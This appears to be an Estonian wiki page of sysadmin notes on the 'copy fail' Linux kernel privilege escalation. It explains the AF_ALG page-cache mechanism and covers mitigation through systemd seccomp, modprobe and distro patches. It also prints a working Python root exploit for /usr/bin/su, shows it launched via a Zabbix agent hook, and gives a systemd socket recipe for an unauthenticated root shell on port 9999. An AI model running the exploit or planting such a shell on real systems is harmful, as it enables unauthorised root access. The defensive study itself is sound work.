af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
Leevenduste iseloomustus&lt;br /&gt;
&lt;br /&gt;
* systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas&lt;br /&gt;
* apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)&lt;br /&gt;
* modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@moraal:~# uname -a&lt;br /&gt;
Linux moraal 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@moraal:~# modprobe algif_aead&lt;br /&gt;
modprobe: ERROR: ../libkmod/libkmod-module.c:1084 command_do() Error running install command '/bin/false' for module algif_aead: retcode 1&lt;br /&gt;
modprobe: ERROR: could not insert 'algif_aead': Invalid argument&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===20260508 - dirty frag eksploit===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
chatgpt üks pakkumine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Service]&lt;br /&gt;
# Blocks the RxRPC network protocol specifically&lt;br /&gt;
RestrictAddressFamilies=~AF_RXRPC&lt;br /&gt;
&lt;br /&gt;
# Prevents gaining root via setuid binaries (essential for LPE defense)&lt;br /&gt;
NoNewPrivileges=yes&lt;br /&gt;
&lt;br /&gt;
# Blocks the kernel module from being auto-loaded&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
&lt;br /&gt;
# Restricts namespaces (blocks the ESP variant requirement)&lt;br /&gt;
RestrictNamespaces=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Random linux arvutis toetatud protokollide perekonnad (2026 aastal on neid kokku ca 40 tükki)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /proc/net/protocols&lt;br /&gt;
protocol  size sockets  memory press maxhdr  slab module     cl co di ac io in de sh ss gs se re bi br ha uh gp em&lt;br /&gt;
SCO        896      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
L2CAP      880      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
HCI        936      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
PACKET    1600      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
MPTCPv6   2128      1     949   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
PINGv6    1408      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y  y  y  y  y  n  y  y  n&lt;br /&gt;
RAWv6     1408      0      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  y  y  y  y  n  n&lt;br /&gt;
UDPLITEv6 1472      0       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
UDPv6     1472      2       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
TCPv6     2560      9     949   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y  y  y  n  y  y  y  y  y&lt;br /&gt;
XDP       1024      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UNIX-STREAM 1152    628      -1   NI       0   yes  kernel      y  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UNIX      1152     65      -1   NI       0   yes  kernel      y  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UDP-Lite  1344      0       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
MPTCP     2000      0     949   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
PING      1056      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y  y  y  y  y  n  y  y  n&lt;br /&gt;
RAW       1216      0      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  y  y  y  y  n  n&lt;br /&gt;
UDP       1344      3       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
TCP       2432     23     949   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y  y  y  n  y  y  y  y  y&lt;br /&gt;
MCTP       872      0      -1   NI       0   no   kernel      y  n  n  n  n  y  n  n  n  n  n  n  n  n  y  y  n  n&lt;br /&gt;
NETLINK   1120     77      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/V4bel/dirtyfrag&lt;br /&gt;
&lt;br /&gt;
===bootshell===&lt;br /&gt;
&lt;br /&gt;
Osutub, et systemd pid=1 protsess on selles mõttes unikaalne, et on võimalik käimasolevale protsessile seadistada juurde porte, millel ta teenindab. Näide avab üle võrgu shell kasutamise võimalus, arusaadavalt on see äärmiselt ebaturvaline praktiliselt kasutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/bootshell.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Neutral Side-Channel Boot Shell Socket&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=9999&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/bootshell@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Neutral Side-Channel Boot Shell Service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=-/bin/bash -i&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
StandardOutput=socket&lt;br /&gt;
StandardError=socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# netstat -lnpt | grep 9999&lt;br /&gt;
tcp6       0      0 :::9999                 :::*                    LISTEN      1/init&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb üle võrgu tekitada tcp ühendus, nt netcat programmiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imreoolberg@Imres-MacBook-Air ~ % nc 192.168.10.193 9999&lt;br /&gt;
bash: cannot set terminal process group (-1): Inappropriate ioctl for device&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
root@zabbix-pub-01:/# hostname -f&lt;br /&gt;
hostname -f&lt;br /&gt;
zabbix-pub-01&lt;br /&gt;
root@zabbix-pub-01:/# exit&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
